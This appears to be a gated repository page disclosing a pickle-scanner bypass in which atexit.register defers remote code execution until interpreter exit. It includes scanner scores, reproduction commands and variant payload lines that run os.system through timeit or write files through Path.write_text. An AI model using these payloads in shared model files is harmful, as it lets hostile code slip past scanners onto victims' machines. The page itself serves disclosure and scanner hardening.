You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
atexit.register β Deferred RCE at Interpreter Exit
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 3 | Yes β 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
atexit.register(func, *args) registers a function to be called when the Python interpreter exits. The payload fires at process teardown β not during pickle.loads().
atexit is absent from all ban lists. modelaudit classifies it as 1 WARNING.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(canary_path: str) -> bytes:
"""atexit.register(Path.write_text, target, content) β 0C, 3W.
Stack trace:
STACK_GLOBAL pathlib Path.write_text (no REDUCE) β callback [WARNING 1 β S205]
MEMOIZE 0, POP
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) β any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-atexit-deferred-rce
cd pickle-bypass-atexit-deferred-rce
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "atexit.register" to ALWAYS_DANGEROUS_FUNCTIONS. No ML model should register interpreter exit callbacks during deserialization.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently β the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
atexit.register β Deferred RCE at Interpreter Exit
Modelaudit score: 0 CRITICAL, 1β2 WARNING
picklescan score: 0 findings
Mechanism
atexit.register(func, *args) registers a function to be called when the Python interpreter exits. The payload fires at process teardown β not during pickle.loads().
atexit is absent from all ban lists. modelaudit classifies it as 1 WARNING.
Variants
atexit.register(timeit.timeit, "import os; os.system('cmd')", number=1)
# β at Python exit: timeit.timeit("import os; os.system('cmd')") β exec β RCE
Score: 0C 2W (both atexit.register and timeit.timeit are WARNING-only)
Variant 2: atexit + pathlib.write_text
atexit.register(Path.write_text, Path('/target'), content)
# β at Python exit: Path('/target').write_text(content) β file written
Score: 0C 2β3W
Evasion Property
If the model-scanning system scans without executing the full process lifecycle (e.g., only calling pickle.loads() without letting the interpreter exit), it won't observe the deferred callback at all. Static scanners are also blind to the deferred nature.
Recommended Fix
Add "atexit.register" to ALWAYS_DANGEROUS_FUNCTIONS. No ML model should register interpreter exit callbacks during deserialization.
General Analysis β Security Research